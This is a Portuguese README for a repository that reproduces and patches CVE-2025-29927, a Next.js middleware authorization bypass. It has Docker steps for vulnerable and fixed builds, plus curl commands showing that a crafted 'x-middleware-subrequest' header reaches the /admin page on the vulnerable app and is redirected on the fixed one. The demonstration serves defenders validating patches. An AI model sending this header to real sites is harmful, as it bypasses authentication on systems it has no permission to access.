
Reprodução e correção da vulnerabilidade CVE-2025-29927.
Reprodução e correção da vulnerabilidade CVE-2025-29927.
git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927
Em vulnerable/ há uma versão da aplicação que é vulnerável ao ataque. Em fixed/ há uma versão da aplicação que foi atualizada para a versão mínima que corrige a vulnerabilidade.
⚠️ Importante: Estes exemplos são fornecidos para defensores, pesquisadores e equipes que validam a aplicação de patches. Não execute estas imagens em redes públicas ou de produção. Apenas teste em sistemas que você possui ou onde tenha permissão explícita por escrito.
Reprodução da vulnerabilidade CVE-2025-29927.
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln
Execute este comando, que deve ser redirecionado para a página de login
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Em seguida, execute este comando, que deve conseguir acessar a página de admin
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
...
Correção da vulnerabilidade CVE-2025-29927.
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed
Execute este comando, que deve ser redirecionado para a página de login
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Em seguida, execute este comando, que agora também deve ser redirecionado para a página de login
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Este repositório é baseado em l1uk/nextjs-middleware-exploit, mas adaptado para a versão 15.x do Next.js.